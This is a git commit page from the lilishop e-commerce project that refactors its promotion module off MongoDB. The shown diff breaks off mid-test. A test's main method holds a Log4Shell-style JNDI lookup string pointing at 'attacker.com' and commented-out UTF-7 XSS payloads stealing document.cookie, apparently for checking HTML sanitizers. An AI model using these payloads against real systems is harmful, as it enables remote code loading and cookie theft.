code-image-backup-public/lilishop
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

重构优化促销模块。移除促销相关的mongo

Browse Source
This commit is contained in:
paulGao
2021-12-10 20:15:03 +08:00
parent 8a29ce048d
commit d9d19f8cbd
118 changed files with 2998 additions and 3885 deletions
Download Patch File Download Diff File Expand all files Collapse all files

5
manager-api/src/main/java/cn/lili/controller/other/CustomWordsController.java
View File

@@ -1,6 +1,8 @@
package cn.lili.controller.other;
import cn.hutool.core.text.CharSequenceUtil;
import cn.hutool.json.JSONObject;
import cn.hutool.json.JSONUtil;
import cn.lili.common.enums.ResultCode;
import cn.lili.common.enums.ResultUtil;
import cn.lili.common.exception.ServiceException;
@@ -57,7 +59,8 @@ public class CustomWordsController {
return "";
}
if (!setting.getSettingValue().equals(secretKey)) {
JSONObject jsonObject = JSONUtil.parseObj(setting.getSettingValue());
if (!secretKey.equals(jsonObject.get("secretKey"))) {
throw new ServiceException(ResultCode.CUSTOM_WORDS_SECRET_KEY_ERROR);
}

11
manager-api/src/main/java/cn/lili/controller/promotion/CouponActivityManagerController.java
View File

@@ -7,7 +7,6 @@ import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.CouponActivity;
import cn.lili.modules.promotion.entity.dto.CouponActivityDTO;
import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum;
import cn.lili.modules.promotion.entity.vos.CouponActivityVO;
import cn.lili.modules.promotion.service.CouponActivityService;
import cn.lili.mybatis.util.PageUtil;
@@ -19,6 +18,8 @@ import io.swagger.annotations.ApiOperation;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.Collections;
/**
* 优惠券活动
*
@@ -50,8 +51,10 @@ public class CouponActivityManagerController {
@PostMapping
@PutMapping(consumes = "application/json", produces = "application/json")
public ResultMessage<CouponActivity> addCouponActivity(@RequestBody(required = false) CouponActivityDTO couponActivityDTO) {
couponActivityDTO.setPromotionStatus(PromotionStatusEnum.NEW.name());
return ResultUtil.data(couponActivityService.addCouponActivity(couponActivityDTO));
if (couponActivityService.savePromotions(couponActivityDTO)) {
return ResultUtil.data(couponActivityDTO);
}
return ResultUtil.error(ResultCode.COUPON_ACTIVITY_SAVE_ERROR);
}
@ApiOperation(value = "关闭优惠券活动")
@@ -60,7 +63,7 @@ public class CouponActivityManagerController {
})
@DeleteMapping("/{id}")
public ResultMessage<CouponActivity> updateStatus(@PathVariable String id) {
if (couponActivityService.updateCouponActivityStatus(id, PromotionStatusEnum.END)) {
if (couponActivityService.updateStatus(Collections.singletonList(id), null, null)) {
return ResultUtil.success(ResultCode.SUCCESS);
}
throw new ServiceException(ResultCode.ERROR);

19
manager-api/src/main/java/cn/lili/controller/promotion/CouponManagerController.java
View File

@@ -9,7 +9,6 @@ import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.Coupon;
import cn.lili.modules.promotion.entity.dos.MemberCoupon;
import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum;
import cn.lili.modules.promotion.entity.vos.CouponSearchParams;
import cn.lili.modules.promotion.entity.vos.CouponVO;
import cn.lili.modules.promotion.service.CouponService;
@@ -44,13 +43,13 @@ public class CouponManagerController {
@GetMapping
public ResultMessage<IPage<CouponVO>> getCouponList(CouponSearchParams queryParam, PageVO page) {
queryParam.setStoreId("platform");
return ResultUtil.data(couponService.getCouponsByPageFromMongo(queryParam, page));
return ResultUtil.data(couponService.pageVOFindAll(queryParam, page));
}
@ApiOperation(value = "获取优惠券详情")
@GetMapping("/{couponId}")
public ResultMessage<CouponVO> getCoupon(@PathVariable String couponId) {
CouponVO coupon = couponService.getCouponDetailFromMongo(couponId);
CouponVO coupon = couponService.getDetail(couponId);
return ResultUtil.data(coupon);
}
@@ -58,24 +57,24 @@ public class CouponManagerController {
@PostMapping(consumes = "application/json", produces = "application/json")
public ResultMessage<CouponVO> addCoupon(@RequestBody CouponVO couponVO) {
this.setStoreInfo(couponVO);
couponService.add(couponVO);
couponService.savePromotions(couponVO);
return ResultUtil.data(couponVO);
}
@ApiOperation(value = "修改优惠券")
@PutMapping(consumes = "application/json", produces = "application/json")
public ResultMessage<Coupon> updateCoupon(@RequestBody CouponVO couponVO) {
this.setStoreInfo(couponVO);
Coupon coupon = couponService.getById(couponVO.getId());
couponVO.setPromotionStatus(PromotionStatusEnum.NEW.name());
couponService.updateCoupon(couponVO);
couponService.updatePromotions(couponVO);
return ResultUtil.data(coupon);
}
@ApiOperation(value = "修改优惠券状态")
@PutMapping("/status")
public ResultMessage<Object> updateCouponStatus(String couponIds, String promotionStatus) {
public ResultMessage<Object> updateCouponStatus(String couponIds, Long startTime, Long endTime) {
String[] split = couponIds.split(",");
if (couponService.updateCouponStatus(Arrays.asList(split), PromotionStatusEnum.valueOf(promotionStatus))) {
if (couponService.updateStatus(Arrays.asList(split), startTime, endTime)) {
return ResultUtil.success(ResultCode.COUPON_EDIT_STATUS_SUCCESS);
}
throw new ServiceException(ResultCode.COUPON_EDIT_STATUS_ERROR);
@@ -84,9 +83,7 @@ public class CouponManagerController {
@ApiOperation(value = "批量删除")
@DeleteMapping(value = "/{ids}")
public ResultMessage<Object> delAllByIds(@PathVariable List<String> ids) {
for (String id : ids) {
couponService.deleteCoupon(id);
}
couponService.removePromotions(ids);
return ResultUtil.success();
}

21
manager-api/src/main/java/cn/lili/controller/promotion/FullDiscountManagerController.java
View File

@@ -5,7 +5,7 @@ import cn.lili.common.enums.ResultUtil;
import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.order.cart.entity.vo.FullDiscountVO;
import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum;
import cn.lili.modules.promotion.entity.dos.FullDiscount;
import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams;
import cn.lili.modules.promotion.service.FullDiscountService;
import com.baomidou.mybatisplus.core.metadata.IPage;
@@ -16,6 +16,8 @@ import io.swagger.annotations.ApiOperation;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.Collections;
/**
* 管理端,满额活动接口
*
@@ -26,14 +28,15 @@ import org.springframework.web.bind.annotation.*;
@Api(tags = "管理端,满额活动接口")
@RequestMapping("/manager/promotion/fullDiscount")
public class FullDiscountManagerController {
@Autowired
private FullDiscountService fullDiscountService;
@ApiOperation(value = "获取满优惠列表")
@GetMapping
public ResultMessage<IPage<FullDiscountVO>> getCouponList(FullDiscountSearchParams searchParams, PageVO page) {
public ResultMessage<IPage<FullDiscount>> getCouponList(FullDiscountSearchParams searchParams, PageVO page) {
page.setNotConvert(true);
return ResultUtil.data(fullDiscountService.getFullDiscountByPageFromMongo(searchParams, page));
return ResultUtil.data(fullDiscountService.pageFindAll(searchParams, page));
}
@ApiOperation(value = "获取满优惠详情")
@@ -42,20 +45,14 @@ public class FullDiscountManagerController {
return ResultUtil.data(fullDiscountService.getFullDiscount(id));
}
@ApiOperation(value = "获取满优惠商品列表")
@GetMapping("/goods/{id}")
public ResultMessage<FullDiscountVO> getCouponGoods(@PathVariable String id) {
return ResultUtil.data(fullDiscountService.getFullDiscount(id));
}
@ApiOperation(value = "修改满额活动状态")
@ApiImplicitParams({
@ApiImplicitParam(name = "id", value = "满额活动ID", required = true, paramType = "path"),
@ApiImplicitParam(name = "promotionStatus", value = "满额活动状态", required = true, paramType = "path")
})
@PutMapping("/status/{id}/{promotionStatus}")
public ResultMessage<Object> updateCouponStatus(@PathVariable String id, @PathVariable String promotionStatus) {
if (fullDiscountService.updateFullDiscountStatus(id, PromotionStatusEnum.valueOf(promotionStatus))) {
@PutMapping("/status/{id}")
public ResultMessage<Object> updateCouponStatus(@PathVariable String id, Long startTime, Long endTime) {
if (fullDiscountService.updateStatus(Collections.singletonList(id), startTime, endTime)) {
return ResultUtil.success(ResultCode.SUCCESS);
}
return ResultUtil.error(ResultCode.ERROR);

3
manager-api/src/main/java/cn/lili/controller/promotion/KanJiaActivityGoodsManagerController.java
View File

@@ -6,6 +6,7 @@ import cn.lili.common.enums.ResultUtil;
import cn.lili.common.exception.ServiceException;
import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsOperationDTO;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams;
@@ -43,7 +44,7 @@ public class KanJiaActivityGoodsManagerController {
@ApiOperation(value = "获取砍价活动分页")
@GetMapping
public ResultMessage<IPage<KanjiaActivityGoodsDTO>> getKanJiaActivityPage(KanjiaActivityGoodsParams KanJiaActivityParams, PageVO page) {
public ResultMessage<IPage<KanjiaActivityGoods>> getKanJiaActivityPage(KanjiaActivityGoodsParams KanJiaActivityParams, PageVO page) {
return ResultUtil.data(kanJiaActivityGoodsService.getForPage(KanJiaActivityParams, page));
}

35
manager-api/src/main/java/cn/lili/controller/promotion/PintuanManagerController.java
View File

@@ -7,7 +7,7 @@ import cn.lili.common.exception.ServiceException;
import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.Pintuan;
import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.vos.PintuanSearchParams;
import cn.lili.modules.promotion.entity.vos.PintuanVO;
import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams;
@@ -19,7 +19,7 @@ import io.swagger.annotations.ApiOperation;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.Date;
import java.util.Arrays;
/**
* 管理端,平台拼团接口
@@ -38,46 +38,35 @@ public class PintuanManagerController {
@GetMapping(value = "/{id}")
@ApiOperation(value = "通过id获取")
public ResultMessage<Pintuan> get(@PathVariable String id) {
Pintuan pintuan = pintuanService.getPintuanByIdFromMongo(id);
public ResultMessage<PintuanVO> get(@PathVariable String id) {
PintuanVO pintuan = pintuanService.getPintuanVO(id);
return ResultUtil.data(pintuan);
}
@GetMapping
@ApiOperation(value = "根据条件分页查询拼团活动列表")
public ResultMessage<IPage<PintuanVO>> getPintuanByPage(PintuanSearchParams queryParam, PageVO pageVo) {
IPage<PintuanVO> pintuanByPageFromMongo = pintuanService.getPintuanByPageFromMongo(queryParam, pageVo);
public ResultMessage<IPage<Pintuan>> getPintuanByPage(PintuanSearchParams queryParam, PageVO pageVo) {
IPage<Pintuan> pintuanByPageFromMongo = pintuanService.pageFindAll(queryParam, pageVo);
return ResultUtil.data(pintuanByPageFromMongo);
}
@GetMapping("/goods/{pintuanId}")
@ApiOperation(value = "根据条件分页查询拼团活动商品列表")
public ResultMessage<IPage<PromotionGoodsDTO>> getPintuanGoodsByPage(@PathVariable String pintuanId, PageVO pageVo) {
public ResultMessage<IPage<PromotionGoods>> getPintuanGoodsByPage(@PathVariable String pintuanId, PageVO pageVo) {
PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams();
searchParams.setPromotionId(pintuanId);
searchParams.setPromotionType(PromotionTypeEnum.PINTUAN.name());
IPage<PromotionGoodsDTO> promotionGoods = promotionGoodsService.getPromotionGoods(searchParams, pageVo);
return ResultUtil.data(promotionGoods);
return ResultUtil.data(promotionGoodsService.pageFindAll(searchParams, pageVo));
}
@PutMapping("/open/{pintuanId}")
@ApiOperation(value = "手动开启拼团活动")
public ResultMessage<String> openPintuan(@PathVariable String pintuanId, Long startTime, Long endTime) {
if (pintuanService.openPintuan(pintuanId, new Date(startTime), new Date(endTime))) {
@PutMapping("/status/{pintuanIds}")
@ApiOperation(value = "操作拼团活动状态")
public ResultMessage<String> openPintuan(@PathVariable String pintuanIds, Long startTime, Long endTime) {
if (pintuanService.updateStatus(Arrays.asList(pintuanIds.split(",")), startTime, endTime)) {
return ResultUtil.success(ResultCode.PINTUAN_MANUAL_OPEN_SUCCESS);
}
throw new ServiceException(ResultCode.PINTUAN_MANUAL_OPEN_ERROR);
}
@PutMapping("/close/{pintuanId}")
@ApiOperation(value = "手动关闭拼团活动")
public ResultMessage<String> closePintuan(@PathVariable String pintuanId) {
if (pintuanService.closePintuan(pintuanId)) {
return ResultUtil.success(ResultCode.PINTUAN_MANUAL_CLOSE_SUCCESS);
}
throw new ServiceException(ResultCode.PINTUAN_MANUAL_CLOSE_ERROR);
}
}

40
manager-api/src/main/java/cn/lili/controller/promotion/PointsGoodsManagerController.java
View File

@@ -1,12 +1,12 @@
package cn.lili.controller.promotion;
import cn.lili.common.enums.ResultCode;
import cn.lili.common.exception.ServiceException;
import cn.lili.common.security.AuthUser;
import cn.lili.common.security.context.UserContext;
import cn.lili.common.enums.ResultUtil;
import cn.lili.common.exception.ServiceException;
import cn.lili.common.security.context.UserContext;
import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.PointsGoods;
import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams;
import cn.lili.modules.promotion.entity.vos.PointsGoodsVO;
import cn.lili.modules.promotion.service.PointsGoodsService;
@@ -16,9 +16,9 @@ import io.swagger.annotations.ApiOperation;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
/**
* 管理端,积分商品接口
@@ -35,40 +35,34 @@ public class PointsGoodsManagerController {
@PostMapping(consumes = "application/json", produces = "application/json")
@ApiOperation(value = "添加积分商品")
public ResultMessage<Object> addPointsGoods(@RequestBody List<PointsGoodsVO> pointsGoodsList) {
List<PointsGoodsVO> collect = new ArrayList<>();
for (PointsGoodsVO i : pointsGoodsList) {
i.setStoreName(i.getGoodsSku().getStoreName());
i.setStoreId(i.getGoodsSku().getStoreId());
collect.add(i);
public ResultMessage<Object> addPointsGoods(@RequestBody List<PointsGoods> pointsGoodsList) {
if (pointsGoodsService.savePointsGoodsBatch(pointsGoodsList)) {
return ResultUtil.success();
}
pointsGoodsService.addPointsGoods(collect);
return ResultUtil.success();
return ResultUtil.error(ResultCode.POINT_GOODS_ERROR);
}
@PutMapping(consumes = "application/json", produces = "application/json")
@ApiOperation(value = "修改积分商品")
public ResultMessage<Object> updatePointsGoods(@RequestBody PointsGoodsVO pointsGoods) {
AuthUser currentUser = UserContext.getCurrentUser();
pointsGoods.setStoreId(currentUser.getId());
pointsGoods.setStoreName("platform");
pointsGoodsService.updatePointsGoods(pointsGoods);
Objects.requireNonNull(UserContext.getCurrentUser());
pointsGoodsService.updatePromotions(pointsGoods);
return ResultUtil.success();
}
@PutMapping("/{ids}")
@PutMapping("/status/{ids}")
@ApiOperation(value = "修改积分商品状态")
public ResultMessage<Object> updatePointsGoodsStatus(@PathVariable String ids, String promotionStatus) {
if (pointsGoodsService.updatePointsGoodsPromotionStatus(Arrays.asList(ids.split(",")), promotionStatus)) {
public ResultMessage<Object> updatePointsGoodsStatus(@PathVariable String ids, Long startTime, Long endTime) {
if (pointsGoodsService.updateStatus(Arrays.asList(ids.split(",")), startTime, endTime)) {
return ResultUtil.success();
}
throw new ServiceException(ResultCode.POINT_GOODS_ERROR);
return ResultUtil.error(ResultCode.POINT_GOODS_ERROR);
}
@DeleteMapping("/{ids}")
@ApiOperation(value = "删除积分商品")
public ResultMessage<Object> delete(@PathVariable String ids) {
if (pointsGoodsService.deletePointsGoods(Arrays.asList(ids.split(",")))) {
if (pointsGoodsService.removePromotions(Arrays.asList(ids.split(",")))) {
return ResultUtil.success();
}
throw new ServiceException(ResultCode.POINT_GOODS_ERROR);
@@ -76,8 +70,8 @@ public class PointsGoodsManagerController {
@GetMapping
@ApiOperation(value = "分页获取积分商品")
public ResultMessage<IPage<PointsGoodsVO>> getPointsGoodsPage(PointsGoodsSearchParams searchParams, PageVO page) {
IPage<PointsGoodsVO> pointsGoodsByPage = pointsGoodsService.getPointsGoodsByPage(searchParams, page);
public ResultMessage<IPage<PointsGoods>> getPointsGoodsPage(PointsGoodsSearchParams searchParams, PageVO page) {
IPage<PointsGoods> pointsGoodsByPage = pointsGoodsService.pageFindAll(searchParams, page);
return ResultUtil.data(pointsGoodsByPage);
}

14
manager-api/src/main/java/cn/lili/controller/promotion/PromotionManagerController.java
View File

@@ -3,9 +3,11 @@ package cn.lili.controller.promotion;
import cn.lili.common.enums.ResultUtil;
import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO;
import cn.lili.modules.promotion.service.PromotionService;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.service.PromotionGoodsService;
import cn.lili.modules.promotion.service.PromotionService;
import com.baomidou.mybatisplus.core.metadata.IPage;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
@@ -42,8 +44,12 @@ public class PromotionManagerController {
@GetMapping("/{promotionId}/goods")
@ApiOperation(value = "获取当前进行中的促销活动商品")
public ResultMessage<IPage<PromotionGoodsDTO>> getPromotionGoods(@PathVariable String promotionId, String promotionType, PageVO pageVO) {
IPage<PromotionGoodsDTO> promotionGoods = promotionGoodsService.getCurrentPromotionGoods(promotionType, pageVO);
public ResultMessage<IPage<PromotionGoods>> getPromotionGoods(@PathVariable String promotionId, String promotionType, PageVO pageVO) {
PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams();
searchParams.setPromotionId(promotionId);
searchParams.setPromotionType(promotionType);
searchParams.setPromotionStatus(PromotionsStatusEnum.START.name());
IPage<PromotionGoods> promotionGoods = promotionGoodsService.pageFindAll(searchParams, pageVO);
return ResultUtil.data(promotionGoods);
}

34
manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java
View File

@@ -16,6 +16,8 @@ import io.swagger.annotations.ApiOperation;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.util.Collections;
/**
* 管理端,秒杀活动接口
*
@@ -40,9 +42,9 @@ public class SeckillManagerController {
@ApiOperation(value = "修改秒杀活动")
@PutMapping
public ResultMessage<Seckill> updateSeckill(SeckillVO seckillVO) {
seckillService.modifySeckill(seckillVO);
@PutMapping(consumes = "application/json", produces = "application/json")
public ResultMessage<Seckill> updateSeckill(@RequestBody SeckillVO seckillVO) {
seckillService.updatePromotions(seckillVO);
return ResultUtil.data(seckillVO);
}
@@ -50,44 +52,36 @@ public class SeckillManagerController {
@ApiImplicitParam(name = "id", value = "秒杀活动ID", required = true, dataType = "String", paramType = "path")
@GetMapping(value = "/{id}")
public ResultMessage<Seckill> get(@PathVariable String id) {
Seckill seckill = seckillService.getSeckillByIdFromMongo(id);
Seckill seckill = seckillService.getById(id);
return ResultUtil.data(seckill);
}
@ApiOperation(value = "分页查询秒杀活动列表")
@GetMapping
public ResultMessage<IPage<SeckillVO>> getAll(SeckillSearchParams param, PageVO pageVo) {
return ResultUtil.data(seckillService.getSeckillByPageFromMongo(param, pageVo));
public ResultMessage<IPage<Seckill>> getAll(SeckillSearchParams param, PageVO pageVo) {
return ResultUtil.data(seckillService.pageFindAll(param, pageVo));
}
@ApiOperation(value = "删除一个秒杀活动")
@ApiImplicitParam(name = "id", value = "秒杀活动ID", required = true, dataType = "String", paramType = "path")
@DeleteMapping("/{id}")
public ResultMessage<Object> deleteSeckill(@PathVariable String id) {
seckillService.deleteSeckill(id);
seckillService.removePromotions(Collections.singletonList(id));
return ResultUtil.success();
}
@ApiOperation(value = "关闭一个秒杀活动")
@ApiOperation(value = "操作秒杀活动状态")
@ApiImplicitParam(name = "id", value = "秒杀活动ID", required = true, dataType = "String", paramType = "path")
@PutMapping("/close/{id}")
public ResultMessage<Object> closeSeckill(@PathVariable String id) {
seckillService.closeSeckill(id);
return ResultUtil.success();
}
@ApiOperation(value = "开启一个秒杀活动")
@ApiImplicitParam(name = "id", value = "秒杀活动ID", required = true, dataType = "String", paramType = "path")
@PutMapping("/open/{id}")
public ResultMessage<Object> openSeckill(@PathVariable String id) {
seckillService.openSeckill(id);
@PutMapping("/status/{id}")
public ResultMessage<Object> updateSeckillStatus(@PathVariable String id, Long startTime, Long endTime) {
seckillService.updateStatus(Collections.singletonList(id), startTime, endTime);
return ResultUtil.success();
}
@ApiOperation(value = "获取秒杀活动申请列表")
@GetMapping("/apply")
public ResultMessage<IPage<SeckillApply>> getSeckillApply(SeckillSearchParams param, PageVO pageVo) {
IPage<SeckillApply> seckillApply = seckillApplyService.getSeckillApplyFromMongo(param, pageVo);
IPage<SeckillApply> seckillApply = seckillApplyService.getSeckillApply(param, pageVo);
return ResultUtil.data(seckillApply);
}

1
manager-api/src/main/resources/application.yml
View File

@@ -131,6 +131,7 @@ ignored:
- /manager/user/login
- /manager/user/refresh/**
- /manager/elasticsearch
- /manager/custom-words
- /druid/**
- /swagger-ui.html
- /doc.html

21
manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java
View File

@@ -20,7 +20,6 @@ import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
@@ -59,12 +58,20 @@ class EsTest {
public static void main(String[] args) {
PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
String safeHTML = policy.sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-");
System.out.println(safeHTML);
System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
System.out.println(HtmlUtil.unescape(safeHTML));
System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
// PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
// String safeHTML = policy.sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-");
// System.out.println(safeHTML);
// System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
// System.out.println(HtmlUtil.unescape(safeHTML));
// System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
// Date dt1 = new Date(2017, 3, 31);
// Date dt2 = new Date(2017, 5, 14)Z
// System.out.println(dt2.after(dt1));
String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}");
String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}");
System.out.println(filter);
System.out.println(sanitize);
}
@Test

33
manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java
View File

@@ -1,13 +1,15 @@
package cn.lili.test.promotion;
import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.common.vo.PageVO;
import cn.lili.common.properties.RocketmqCustomProperties;
import cn.lili.common.vo.PageVO;
import cn.lili.modules.goods.entity.enums.GoodsStatusEnum;
import cn.lili.modules.goods.service.GoodsSkuService;
import cn.lili.modules.promotion.entity.dos.Coupon;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.enums.*;
import cn.lili.modules.promotion.entity.enums.CouponGetEnum;
import cn.lili.modules.promotion.entity.enums.CouponTypeEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.vos.CouponSearchParams;
import cn.lili.modules.promotion.entity.vos.CouponVO;
import cn.lili.modules.promotion.service.CouponService;
@@ -50,7 +52,6 @@ class CouponTest {
couponVO.setCouponType(CouponTypeEnum.DISCOUNT.name());
couponVO.setDescription(couponVO.getCouponName() + " are expensive");
couponVO.setGetType(CouponGetEnum.FREE.name());
couponVO.setPromotionStatus(PromotionStatusEnum.NEW.name());
// couponVO.setStoreId("0");
// couponVO.setStoreName("platform");
couponVO.setStoreId("131");
@@ -61,7 +62,7 @@ class CouponTest {
// couponVO.setPrice(200D);
couponVO.setCouponDiscount(0.1D);
couponVO.setScopeType(CouponScopeTypeEnum.PORTION_GOODS.name());
couponVO.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name());
couponVO.setScopeId("121");
couponVO.setStartTime(cn.hutool.core.date.DateUtil.parse("2020-11-30 15:58:00"));
couponVO.setEndTime(cn.hutool.core.date.DateUtil.parse("2020-12-30 23:50:00"));
@@ -82,7 +83,6 @@ class CouponTest {
promotionGoods.setTitle(couponVO.getPromotionName());
promotionGoods.setPromotionId(couponVO.getId());
promotionGoods.setQuantity(1000);
promotionGoods.setPromotionStatus(couponVO.getPromotionStatus());
promotionGoods.setPromotionType(PromotionTypeEnum.COUPON.name());
promotionGoodsList.add(promotionGoods);
//
@@ -99,7 +99,7 @@ class CouponTest {
// promotionGoodsList.add(promotionGoods);
//
couponVO.setPromotionGoodsList(promotionGoodsList);
Assertions.assertNotNull(couponService.add(couponVO));
Assertions.assertNotNull(couponService.savePromotions(couponVO));
}
@Test
@@ -110,7 +110,6 @@ class CouponTest {
couponVO.setCouponType(CouponTypeEnum.DISCOUNT.name());
couponVO.setDescription(couponVO.getId() + " is expensive");
couponVO.setGetType(CouponGetEnum.FREE.name());
couponVO.setPromotionStatus(PromotionStatusEnum.START.name());
couponVO.setStoreId("132");
couponVO.setStoreName("联想自营旗舰店");
couponVO.setStoreCommission(99.99D);
@@ -119,7 +118,7 @@ class CouponTest {
couponVO.setCouponDiscount(10D);
couponVO.setPrice(0D);
couponVO.setScopeType(CouponScopeTypeEnum.PORTION_GOODS.name());
couponVO.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name());
couponVO.setScopeId("134,133");
couponVO.setStartTime(cn.hutool.core.date.DateUtil.parse("2020-11-10 17:01:00"));
couponVO.setEndTime(cn.hutool.core.date.DateUtil.parse("2020-11-10 17:10:00"));
@@ -144,7 +143,6 @@ class CouponTest {
promotionGoods.setStartTime(couponVO.getStartTime());
promotionGoods.setEndTime(couponVO.getEndTime());
promotionGoods.setTitle(couponVO.getPromotionName());
promotionGoods.setPromotionStatus(couponVO.getPromotionStatus());
promotionGoodsList.add(promotionGoods);
promotionGoods = new PromotionGoods();
@@ -160,11 +158,10 @@ class CouponTest {
promotionGoods.setStartTime(couponVO.getStartTime());
promotionGoods.setEndTime(couponVO.getEndTime());
promotionGoods.setTitle(couponVO.getPromotionName());
promotionGoods.setPromotionStatus(couponVO.getPromotionStatus());
promotionGoodsList.add(promotionGoods);
couponVO.setPromotionGoodsList(promotionGoodsList);
Assertions.assertNotNull(couponService.updateCoupon(couponVO));
Assertions.assertNotNull(couponService.updatePromotions(couponVO));
}
@Test
@@ -174,23 +171,11 @@ class CouponTest {
PageVO pageVo = new PageVO();
pageVo.setPageNumber(0);
pageVo.setPageSize(10);
IPage<CouponVO> couponsByPageFromMongo = couponService.getCouponsByPageFromMongo(queryParam, pageVo);
IPage<Coupon> couponsByPageFromMongo = couponService.pageFindAll(queryParam, pageVo);
Assertions.assertNotNull(couponsByPageFromMongo);
couponsByPageFromMongo.getRecords().forEach(System.out::println);
}
@Test
void searchFromMysql() {
CouponSearchParams queryParam = new CouponSearchParams();
PageVO pageVo = new PageVO();
pageVo.setPageNumber(0);
pageVo.setPageSize(10);
IPage<Coupon> coupons = couponService.getCouponsByPage(queryParam, pageVo);
Assertions.assertNotNull(coupons);
coupons.getRecords().forEach(System.out::println);
}
@Test
void delete() {
// Assertions.assertTrue(couponService.deleteCoupon("1326001296591577088"));

22
manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java
View File

@@ -1,17 +1,15 @@
package cn.lili.test.promotion;
import cn.hutool.core.util.RandomUtil;
import cn.hutool.json.JSONUtil;
import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.common.vo.PageVO;
import cn.lili.modules.goods.entity.dos.GoodsSku;
import cn.lili.modules.goods.service.GoodsSkuService;
import cn.lili.modules.order.cart.entity.vo.FullDiscountVO;
import cn.lili.modules.promotion.entity.dos.FullDiscount;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum;
import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams;
import cn.lili.modules.promotion.service.FullDiscountService;
import cn.lili.modules.order.cart.entity.vo.FullDiscountVO;
import com.baomidou.mybatisplus.core.metadata.IPage;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
@@ -21,6 +19,7 @@ import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
/**
@@ -46,7 +45,6 @@ class FullDiscountTest {
fullDiscountVO.setIsFullMinus(true);
fullDiscountVO.setFullMoney(130D);
fullDiscountVO.setFullMinus(100D);
fullDiscountVO.setPromotionStatus(PromotionStatusEnum.NEW.name());
fullDiscountVO.setIsFreeFreight(true);
fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId());
@@ -64,13 +62,12 @@ class FullDiscountTest {
promotionGoods.setNum(10);
promotionGoods.setQuantity(100);
promotionGoods.setPromotionId(fullDiscountVO.getId());
promotionGoods.setPromotionStatus(PromotionStatusEnum.NEW.name());
